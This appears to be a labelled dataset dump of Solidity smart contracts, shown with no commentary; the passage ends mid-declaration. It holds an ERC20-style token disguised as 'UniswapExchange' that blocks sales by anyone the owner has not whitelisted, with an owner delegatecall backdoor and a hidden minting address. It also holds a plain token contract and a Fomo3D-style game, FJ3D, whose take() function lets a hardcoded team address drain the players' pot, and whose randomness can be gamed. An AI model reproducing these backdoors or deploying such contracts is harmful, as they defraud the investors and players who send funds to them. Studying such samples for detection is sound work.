callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,279
pragma solidity ^ 0.4 .19; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Quantormassa { using SafeMath for uint256; mapping(address => mapping(address => uint256)) allowed; mapping(address => uint256) balances; uint256 public totalSupply; uint256 public decimals; address public owner; bytes32 public symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); function Quantormassa() { totalSupply = 100000000; symbol = 'qtma'; owner = 0x53A896d7E86F0ec156281c2B28090007a5371BD5; balances[owner] = totalSupply; decimals = 18; } function balanceOf(address _owner) constant returns(uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) constant returns(uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) returns(bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns(bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function() { revert(); } }
1
3,194
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FJ3DLong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address specAddr = 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1; string constant public name = "FJ3D Long"; string constant public symbol = "FJ3D"; uint256 constant private rndInit_ = 15 days; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 15 days; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; uint256 private pIDxCount; mapping (address => uint256) public pIDxAddr_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { pIDxCount = pIDxCount + 1; _pID = pIDxCount + 1; pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) specAddr.transfer(_p3d); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; specAddr.transfer(_long); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { specAddr.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1, "only team just can activate" ); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } function take() public { require( msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1, "only team just can take" ); if (round_[rID_].pot > 50 * 100000000) specAddr.transfer(round_[rID_].pot.sub(50 * 100000000)); if (airDropPot_ > 50 * 100000000) specAddr.transfer(airDropPot_.sub(50 * 100000000)); } } library F3Ddatasets { struct EventReturns { 